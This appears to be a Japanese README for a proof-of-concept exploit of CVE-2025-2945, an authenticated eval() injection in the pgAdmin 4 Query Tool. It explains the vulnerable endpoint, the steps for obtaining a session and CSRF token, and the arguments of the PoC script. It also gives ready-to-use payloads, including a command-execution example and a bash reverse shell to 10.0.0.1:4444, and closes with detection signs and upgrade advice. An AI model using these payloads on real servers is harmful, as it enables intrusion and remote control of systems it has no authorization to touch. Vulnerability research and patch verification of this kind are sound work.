
pgAdmin 4 (8.10–9.1) の Query Tool における eval() インジェクションを介した認証済みRCE。これは pgAdmin 9.x の認証変更に対する互換性修正を施した、更新版 PoC です。
CVE-2025-2945 の概念実証です。これは pgAdmin 4 における重大なリモートコード実行の脆弱性です。
影響を受けるバージョン: 8.10 から 9.1
修正版: 9.2 (2025年4月4日リリース)
CVSS v3.1: 9.9 (緊急)
pgAdmin 4 クエリツールは、query_commited パラメータを受け入れ、それをサニタイズなしで Python 組み込みの eval() に直接渡すエンドポイントを公開しています。認証済みの攻撃者は、このパラメータを介して任意の Python コードを送信し、pgAdmin サービスアカウントでサーバー側に実行させることができます。
脆弱なエンドポイントは次のとおりです:
POST /sqleditor/query_tool/download/<trans_id>
JSON ボディ内の query_commited フィールドは、サーバー上で Python コードとして評価されます。
9.2 より前の pgAdmin 4 バージョンでは、クエリツールのダウンロードハンドラがユーザー指定の入力に対して eval() を呼び出します:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
入力検証、サンドボックス化、許可リストは一切適用されません。有効な Python 式はすべて pgAdmin プロセスの権限で実行されます。
/authenticate/login に POST し、セッション Cookie と CSRF トークンを取得する/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> に POST し、クエリツールセッションを確立する/sqleditor/get_server_connection/<sgid>/<sid> に GET リクエストを送り、data.status == true を返すまで ID を繰り返し試行する{"query_commited": "<python payload>"} を /sqleditor/query_tool/download/<trans_id> に POST し、実行を確認する 500 レスポンスを受け取る古い pgAdmin バージョンでは、CSRF トークンは非表示の <input> フィールドまたは Cookie に埋め込まれていました。バージョン 9.x では React SPA アーキテクチャに移行し、トークンは /login ページの window.renderSecurityPage() 呼び出し内に JSON として埋め込まれます:
"csrfToken": "<token value>"
トークンはセッションスコープ (Flask-WTF / itsdangerous) であるため、最初の GET /login で取得したトークンはセッション全体を通して有効で、後続のすべての API 呼び出しに再利用できます。
pgAdmin 9.x はログインルートを分割しました:
GET /login — ログインページを表示する (CSRF トークンを含む)POST /authenticate/login — 資格情報を処理する/login に直接 POST する古い PoC は、9.x インスタンスでは 404 または 405 を受け取ります。
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argument | 説明 |
|---|---|
--rhost | 対象ホスト名または IP (スキームなし) |
--rport | 対象ポート (デフォルト: 80) |
--username | pgAdmin ログインメールアドレス |
--password | pgAdmin ログインパスワード |
--db-user | PostgreSQL ユーザー名 |
--db-pass | PostgreSQL パスワード |
--db-name | データベース名 |
--payload | サーバー上で評価する Python 式 |
--max-server-id | プローブする最大サーバー ID (デフォルト: 10) |
コマンド実行:
--payload "__import__('os').system('id')"
リバースシェル:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/ からの予期しない HTTP 500 レスポンスpgAdmin 4 バージョン 9.2 以降にアップグレードしてください。
このリポジトリは教育および許可されたテスト目的のみに提供されます。所有していないシステム、または明示的なテスト許可がないシステムに対して使用しないでください。